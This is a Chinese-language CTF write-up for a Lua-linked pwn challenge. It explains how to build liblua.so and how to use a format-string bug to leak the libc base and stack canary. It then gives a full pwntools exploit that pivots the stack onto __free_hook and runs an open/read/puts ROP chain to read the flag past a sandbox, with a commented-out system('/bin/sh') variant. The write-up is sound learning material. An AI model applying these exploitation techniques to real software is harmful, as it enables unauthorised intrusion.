记一道lua题目

这道题是队内一个师傅发的,因为之前没有接触过lua方面的题目,这道题又不是特别难,所以记一下来入门。特此鸣谢ymt师傅和eur1ka师傅

https://github.com/Torebtr/ctf/tree/main/lua

环境

这个题目比较特殊,除了基本的libc环境,还需要liblua.so动态文件,这就要自行编译了

https://www.lua.org/ftp/

从上面的网站下载lua源码,扔到ubuntu中,然后修改makefile

第一步:修改根目录下的Makefile

TO_LIB= liblua.a
#==>>
TO_LIB= liblua.a liblua.so

第二步:修改src/Makefile

CFLAGS增加-fPIC选项

新增目标输出

位置大概是随意,或者添加到与lua.o紧邻的位置

LUA_SO= liblua.so

修改ALL_T值

##原文件
ALL_T= $(LUA_A) $(LUA_T) $(LUAC_T)
#==>>
ALL_T= $(LUA_A) $(LUA_T) $(LUAC_T) $(LUA_SO)

增加动态库的编译依赖关系

$(LUA_SO): $(CORE_O) $(LIB_O)
    $(CC) -o $@ -shared $? -ldl -lm

参考博客

然后将编译出来的文件扔到/lib/x86_64-linux-gnu目录下即可

题目分析

装完环境后可以直接运行文件,是下面图片中的样子

image-20211021224042235

进入正题,先查看基本信息

基本信息

image-20211021224853422

image-20211021224917007

保护全开,在我的印象里,这种保护全开的大概是堆题,好巧不巧,这是一道栈题,主要难点在于栈迁移,好嘛,又是一个我不熟悉的知识点,来吧。

ida反编译

main函数

image-20211029091352191

用处不是很大,但是会发现调用了ezcmd.lua这个文件

login函数

image-20211029093830682

非常重要的函数,会发现他有格式化字符串漏洞和栈溢出漏洞

格式化字符串

这部分主要是用来泄露libc基址和canary的

在此解释一下接下来exp中的部分语句:

p.sendline("%107$p##%11$p")

这个分为两部分:

第一部分是%107$p

107的来源ymt师傅在他的exp中写的是

image-20211029211855769

但是在我调试的过程中发现不是这一个

image-20211029212859222

image-20211029211948877

因为很容易发现,计数是从2开始的,01为我们输入的参数

image-20211029212657465

又因为64位程序前六个参数由寄存器传递,所以0x65+6=107

这样我们可以泄露libc基址

第二部分是%11$p

这一块很好理解,canary在rbp-8处

image-20211029212407559

直接调试就可发现是5+6=11

image-20211029212448298

此处的6还是寄存器

这样两个格式化字符串的参数就很好解释了。

栈溢出

这个题的难点在于要构造orw,因为开启了沙箱

image-20211029213430140

因为有栈溢出,但是不能直接调用getshell的函数,所以可以写orw,两种思路,一种是写在free_hook上,另一种就是在.bss段上找一块可读可写可执行的区域,应该是都可以。

exp

#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./pwn3")
#p = remote("10.103.16.3",80)#2 3 5 6 10
elf=ELF("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


p.recvuntil("$ ")
p.sendline("login")
p.recvuntil("user:")
#gdb.attach(p)
p.sendline("%107$p##%11$p")
'''
66:0330│      0x7fffffffde18 —▸ 0x7ffff7d7f0b3 (__libc_start_main+243) ◂— mov    edi, eax

pwndbg> p 0x330/8+5  5-->寄存器数量
$1 = 107

65:0328│   0x7ffdee745618 —▸ 0x7ff3607fc0b3 (__libc_start_main+243) ◂— mov    edi, eax

pwndbg> p 0x328/8+6
$2 = 107

pwndbg> p 0x65+6   0x66+5
$2 = 107

06:0030│      0x7fffffffdb18 ◂— 0x382ce7b98064fd00
07:0038│ rbp  0x7fffffffdb20 —▸ 0x5555555592a8 ◂— 0x0
canary rbp-8          6+5

'''
p.recvuntil("0x")
libc_base=int(p.recv(12),16)
print "libc_base : "+hex(libc_base)
libc_base=libc_base-243-libc.sym['__libc_start_main']
print "libc_base : "+hex(libc_base) 

p.recvuntil("##0x")

canary=int(p.recv(16),16)
print "canary : "+hex(canary) 

p.recvuntil("passwd:")
#gdb.attach(p)
#main_addr=
sys_addr = libc_base+libc.symbols['system']
sh_addr = libc_base+libc.search('/bin/sh').next()
pop_rdi_ret = libc_base+0x26b72
#$ ropper --file /lib/x86_64-linux-gnu/libc.so.6 --search "pop|ret" | grep rdi
print "sys_addr : "+hex(sys_addr) 
print "sh_addr : "+hex(sh_addr) 
print "pop_rdi_ret : "+hex(pop_rdi_ret) 
print "one : "+hex(libc_base+0xe6c7e) 

'''
#pd = 'a'*0x18+p64(canary)+p64(0xdeadbbef)+ p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
#pd = 'a'*0x18+p64(canary)+p64(0xdeadbbef)+ p64(libc_base+0xe6c7e)#0xe6c81 0xe6c84
#pd = 'a'*0x18+p64(canary)+p64(0x7f09f76371e3)+ p64(0x7f09f76371e3)#0xe6c81 0xe6c84
#p.sendline(pd)
'''

open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
puts_addr=libc_base+libc.symbols['puts']

__free_hook=libc_base+libc.symbols['__free_hook']#libc.symbols['__free_hook']#0x1eb000(no ok)


pop_rdx_ret=libc_base+0x11c371      #0x000000000011c371: pop rdx; pop r12; ret;
pop_rsi_ret=libc_base+0x27529
leave_ret=libc_base+0x5aa48 

print "open_addr is "+hex(open_addr)
print "read_addr is "+hex(read_addr)
print "free_hook is "+hex(__free_hook)

print "pop_rdi_ret is "+hex(pop_rdi_ret)
print "pop_rdi_ret is "+hex(pop_rdi_ret)
print "pop_rsi_ret is "+hex(pop_rsi_ret)
print "leave_ret is "+hex(leave_ret)

pd='a'*0x18+p64(canary)+p64(__free_hook)
pd+=p64(pop_rsi_ret)+p64(__free_hook+0x8)+p64(pop_rdi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0x100)+p64(0)+p64(read_addr)+p64(leave_ret)

#gdb.attach(p)
p.send(pd)

pd=p64(pop_rdi_ret)+p64(__free_hook+0xa0)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0x0)+p64(0)+p64(open_addr) ##open("file_addr",oflag) 72 0
pd+=p64(pop_rsi_ret)+p64(__free_hook+0x100)+p64(pop_rdi_ret)+p64(3)+p64(pop_rdx_ret)+p64(0x100)+p64(0)+p64(read_addr)
#read(fd,*buf,100)
pd+=p64(pop_rdi_ret)+p64(__free_hook+0x100)+p64(puts_addr) 
#puts()
pd+="./flag\x00"
p.send(pd)

print "len=>",hex(len(pd))

p.interactive()